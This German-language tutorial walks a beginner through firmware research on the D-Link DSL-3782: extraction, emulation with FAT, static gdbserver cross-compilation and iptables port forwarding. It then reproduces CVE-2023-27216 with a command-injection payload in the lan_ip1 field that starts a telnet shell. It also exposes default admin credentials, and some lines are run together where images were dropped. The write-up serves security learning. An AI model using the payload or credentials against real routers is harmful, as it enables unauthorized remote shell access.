
Der Ansatz eines Neulings beim Firmware-Hacking
Dieses Dokument beschreibt meine persönliche Erfahrung als Neuling im Reverse Engineering von Firmware und deren Ausnutzung.

Zur Demonstration werden wir CVE-2023-27216 analysieren und reproduzieren.
Um Firmware auszunutzen, sind folgende Schritte erforderlich:
gdbserver statisch erstellen, um Debugging zu ermöglichen.Normalerweise enthält eine Firmware-Binärdatei einen Bootloader (uBoot), eine Kernel-Datei, einen Kernel-Header für den Bootloader (uImage), ein komprimiertes Dateisystem (meist im SquashFS-Format), eine CRC/MD5-Tabelle (zur Überprüfung der Dateiintegrität) und andere diverse Dateien.
Zunächst einen Weg finden, die Firmware zu analysieren, etwas recherchieren, einige Ressourcen gefunden:

Extrahieren Sie die Firmware mit binwalk: binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

Habe den extrahierten Ordner squashfs-root und einige seltsame Dateien erhalten.

Bonus: Wenn Sie keinen squashfs-root-Ordner sehen, verwenden Sie unsquashfs auf einer beliebigen .squashfs-Datei, die Sie sehen. Sie sind wie ZIP-Dateien 😅.
Überprüfen Sie die Architektur und Endianness der Firmware. Dies kann durch Überprüfung einiger aus der Firmware extrahierter Binärdateien erfolgen. Überprüfen Sie die Architektur und Firmware: file <binary>

Hier können wir fast bestätigen, dass die Firmware auf MIPS 32-Bit-MSB-Architektur läuft. Der Grund für 'fast' ist, dass einige Firmware auf einer anderen Architektur mit MIPS-kompatibel laufen kann, wie z.B. Lexra.
Überprüfen Sie den Ordner squashfs-root und finden Sie einige interessante Dateien:
usr/etc/init.d/rcS => Dies ist das Skript, das beim Hochfahren der Firmware ausgeführt wirdusr/etc/passwd => Dies ist die Datei, die die Benutzerinformationen enthältuserfs/romfile.cfg => Es gibt eine Anmeldeinformation admin:adminÜberprüfen Sie die Datei rcS und finden Sie interessanten Code:
echo "admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh" > /usr/etc/passwd
passwd zu schreibenBoa ist ein uralter Webserver, der hauptsächlich in eingebetteten Geräten wie Routern in den 2000er Jahren verwendet wurde. Allerdings wurde die Entwicklung des Boa-Servers bereits 2005 eingestellt! Obwohl der Boa-Server seit fast 20 Jahren tot ist, lebt er dank unseres Herstellers bis heute weiter.

Ich empfehle die Verwendung eines Debian-basierten Betriebssystems für den Emulationsprozess, wie Ubuntu oder Kali. Es gibt ein weiteres Betriebssystem, das sich auf Firmware-Hacking konzentriert, genannt AttifyOS. In diesem Dokument habe ich Kali Linux verwendet. Beginnen Sie mit dem Emulationsprozess. Es gibt zwei Tools:

Lassen Sie uns durchgehen, wie man FAT verwendet, um eine Firmware vollständig zu emulieren. Zuerst klonen wir das Repository von GitHub auf Ihre Kali-Maschine. Und durchlaufen den Einrichtungsprozess. Sie müssen auch die Datei fat.config ändern, sonst funktioniert es nicht.
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
vi fat.config # Modify to your sudo password.
Dann kopieren wir die Firmware-Binärdatei (die, die wir vom Hersteller heruntergeladen haben) in den Ordner von FAT auf unserer Kali-Maschine und führen sie aus.
./fat.py DSL-3782_A1_EU_1.01_07282016.bin
Hinweis: Während des Einrichtungsprozesses von FAT können Fehler auftreten. Es kann 'no libmagic' anzeigen.

Führen Sie einfach aus:
pip unistall python-magic
pip install python-magic
Dies sollte Ihr Problem beheben. Dann führen wir den Build-Befehl erneut aus. Es sollte jetzt einwandfrei funktionieren.

Drücken Sie Enter, um es auszuführen. Der Emulationsprozess sollte gut funktionieren. Sie können zu http://192.168.1.1 (auf der Kali-Maschine) navigieren, um zu überprüfen, ob es funktioniert.

Sie können sich auch an der Konsole anmelden, wenn Sie die Anmeldedaten haben. Hier ist admin:admin.

Wenn Sie die emulierte Firmware ausschalten möchten, drücken Sie einfach Strg+A X. Wenn Sie sie erneut ausführen müssen, führen Sie nicht erneut fat.py aus, da die Firmware bereits in ein Image eingebaut wurde. Sie müssen nur das bereits generierte Skript ausführen.
cd firmadyne/scratch/<Image-ID>
./run.sh

Erstellen Sie gdbserver zu Debugging-Zwecken. Es gibt viele Möglichkeiten, gdbserver zu erstellen. Sie können auch einen statisch erstellten Server herunterladen. Es gibt ein Repo, das einige statisch erstellte Server bereithält. Ich bevorzuge es jedoch, gdbserver selbst zu erstellen, da die im GitHub-Repo recht alt sind und Kompatibilitätsprobleme auftreten können.
Siehe diesen Blogbeitrag als Referenz: https://sheran.sg/blog/cross-compile-gdb-for-mips/. Der Blog wurde am 30. Juli 2024 hochgeladen, kurz vor diesem Projekt, also funktioniert es perfekt.
Hinweis: Der Blog wurde für MIPS x32 LSB erstellt, aber wir benötigen MIPS x32 MSB. Wir müssen mipsel-linux-gnu in mips-linux-gnu ändern.
Wir müssen die Toolchain für MIPS installieren. Glücklicherweise ist sie bereits im Debian-Paket vorhanden.
**apt update && apt upgrade -y
apt install -y build-essential m4 gcc-mips-linux-gnu g++-mips-linux-gnu**
Um gdbserver für MIPS zu erstellen, müssen wir einige Pakete bauen und installieren. Hier hole ich den Quellcode.
Quellcode herunterladen
wget https://sourceware.org/pub/gdb/releases/gdb-15.1.tar.xz
wget https://gmplib.org/download/gmp/gmp-6.3.0.tar.xz
wget https://www.mpfr.org/mpfr-current/mpfr-4.2.1.tar.xz
Bibliotheken mit der Toolchain erstellen Es ist entscheidend, Root-Rechte zu haben, wenn wir diese Bibliotheken erstellen. Wir müssen zuerst GMP bauen, da es eine Voraussetzung für den Bau von MPFR ist.
tar xvf gmp-6.3.0.tar.xz && cd gmp-6.3.0
./configure --host=mips-linux-gnu
make -j$((`nproc`+1))
make install
cd ..
Dann bauen wir MPFR:
tar xvf mpfr-4.2.1.tar.xz && cd mpfr-4.2.1
./configure --host=mipsel-linux-gnu --with-gmp-build=<YOUR-FOLDER>/gmp-6.3.0
make -j$((`nproc`+1))
make install
cd ..
Jetzt können wir endlich gdbserver bauen:
tar xvf gdb-15.1.tar.xz && cd gdb-15.1
./configure --host=mipsel-linux-gnu --with-gmp-lib=/usr/local/lib --with-mpfr-lib=/usr/local/lib --with-gmp-include=<YOUR-FOLDER>/gmp-6.3.0 --with-mpfr-include=<YOUR-FOLDER>/mpfr-4.2.1/src
make -j$((`nproc`+1)) LDFLAGS=-static
Die erstellte Binärdatei gdbserver sollte sich im Ordner gdb-15.1/gdbserver befinden.
Die emulierte Firmware hat kein wget, nc, curl, /dev/tcp, ... Wir können keinen Python-HTTP-Server hosten, um Dateien zu übertragen. Wir haben auch kein ssh. Allerdings können wir unser gdbserver dennoch auf die emulierte Maschine bringen, indem wir das Image mounten.
sudo ./scripts/mount.sh 1gdbserver an eine beliebige Stelle im gemounteten Ordner.sudo ./scripts/umount.sh 1./run.sh erneut aus, um sicherzugehen).

Von nun an können Sie Debugging und Hacking innerhalb der Kali-Maschine durchführen. Wir können jedoch einen Schritt weiter gehen, indem wir die emulierte Maschine per Portweiterleitung an unsere Host-Maschine (Windows oder Mac) anbinden.
Lassen Sie uns zunächst das Netzwerk mit ifconfig überprüfen.

Das Ergebnis zeigt, dass es zwei Schnittstellen gibt: eth0 und tap1_0. Nach unserem Wissen ist eth0 die Schnittstelle des gemeinsamen Netzwerks vom Host und tap1_0 ist die Schnittstelle der emulierten Firmware-Maschine.
Zum besseren Verständnis: Das Netzwerk von eth0 ist wie ein öffentliches Netzwerk, über das wir von der Host-Maschine auf die Kali-Maschine zugreifen können. tap1_0 ist wie ein privates Netzwerk, auf das wir nur von der Kali-Maschine aus zugreifen können. Wir müssen die Verbindung von eth0 zum Port 192.168.1.1:80 auf der tap1_0-Schnittstelle weiterleiten.
Es gibt viele Tools, die uns dabei helfen können. Allerdings scheint iptables am besten zu funktionieren, wenn man natürlich weiß, wie man es konfiguriert.
Wir müssen zuerst die Portweiterleitung erlauben. Führen Sie diesen Befehl aus:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
Dies gilt nur für eine Sitzung. Wenn Sie es dauerhaft anwenden möchten, ändern Sie den Inhalt von /etc/sysctl.conf.
net.ipv4.ip_forward=1 # Find this line, uncomment it.
Speichern und schließen Sie die Datei, wenn Sie fertig sind.
Dann wenden Sie die Einstellungen in dieser Datei an. Führen Sie den folgenden Befehl aus:
sudo sysctl -p
sudo sysctl --system
Normalerweise können wir eine Reihe von iptables-Befehlen ausführen. Aber das wäre zu mühsam 😵💫. Wir können ein Tool iptables-persistent installieren. Es ermöglicht Ihnen, eine Konfigurationsdatei zu schreiben, in eine Datei zu laden oder Chains in eine Datei zu extrahieren. Alles kann schnell erledigt werden.
apt install iptables-persistent
Die Konfigurationsdatei, die wir hier ändern möchten, ist /etc/iptables/rules.v4. Wir ändern den Inhalt der Datei auf den untenstehenden Inhalt.
*filter
:INPUT ACCEPT [37:22880]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [35:2330]
# Forward HTTP Port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 80 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 80 -s 192.168.1.1 -j ACCEPT
# Forward Debugger port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 31337 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 31337 -s 192.168.1.1 -j ACCEPT
COMMIT
# Completed on Wed Aug 7 09:32:11 2024
# Generated by iptables-save v1.8.10 (nf_tables) on Wed Aug 7 09:32:11 2024
*nat
:PREROUTING ACCEPT [60:5405]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [1096:50947]
-A PREROUTING -i eth0 -p tcp -j DNAT --to-destination 192.168.1.1
-A POSTROUTING -o tap1_0 -p tcp -d 192.168.1.1 -j MASQUERADE
Achtung: Das Zulassen aller Ports verursacht eine Reihe von Sicherheitsproblemen. Es wird empfohlen, alle Ports zu
DROP-en und dann nur einige nach Ihren Wünschen weiterzuleiten (FORWARD).
Speichern und erneuern Sie die iptables-Chain.
service netfilter-persistent reload
Jetzt können Sie von außerhalb des Hosts darauf zugreifen.

Mehrere Endpunkte, die ausgenutzt werden können. Zwei davon befinden sich in der Binärdatei cfg_manager. Ich demonstriere nur eine davon, die andere überlasse ich Ihnen, selbst herauszufinden.
Werfen Sie die Binärdatei in Ihren Lieblingsdecompiler, suchen Sie nach allen system-Befehlen. Sie könnten dies sehen. Der Befehl führt eine Datei namens /etc/lanconfig.sh aus.

Bei der Suche nach anderen Stellen, die diese Datei verwenden könnten, fand ich eine Stelle, an der wir die Datei schreiben können.

Erklärung der Funktion:
/etc/lanconfig.shmxmlElementGetAttr auf, von der ich vermute, dass sie ein Attribut aus einem Objekt findet, möglicherweise direkt oder indirekt aus einer HTTP-Anfrage, könnte XML sein.sprintf, um einen String aus den von mxmlElementGetAttr erhaltenen Attributen zu erstellen.fputs, um in die Datei zu schreiben.Sofort suchte ich im Web-Ordner boaroot nach allem, was mit IP, netmask zu tun hat, und fand dies. Die Dokumentation für den Boa-Webserver ist äußerst begrenzt. Ich kann nur vermuten, dass es den POST-Parameter lan_ip1 in einen XML-Parameter IP einfügt, der von der Binärdatei aufgerufen wird.

Auf der Oberfläche finden wir die Anfrage, die den Fehler auslöst. Sie befindet sich unter Einstellungen > Netzwerk

Fangen Sie die Anfrage mit Burpsuite ab, wenn wir Speichern drücken.

Das Payload 192.168.1.1;utelnetd -p 8090 -l /bin/sh; ist eine Reverse Shell. Wir können eine Verbindung herstellen und darauf zugreifen.

Ähnlich, könnte besser als FAT sein, habe ich nicht ausprobiert -> FirmAE.
Binary Ninja kostet nur 74$, wenn Sie den Studentenstatus haben. Die Lizenz kann mit jedem geteilt werden.
Andere Fehler im Zusammenhang mit der CVE:

Dies kann auch zu RCE führen. Ich überlasse es Ihnen, dies selbst zu tun. Der Speicher an dieser Adresse data_4c0160 kann irgendwo injiziert werden 🫡.
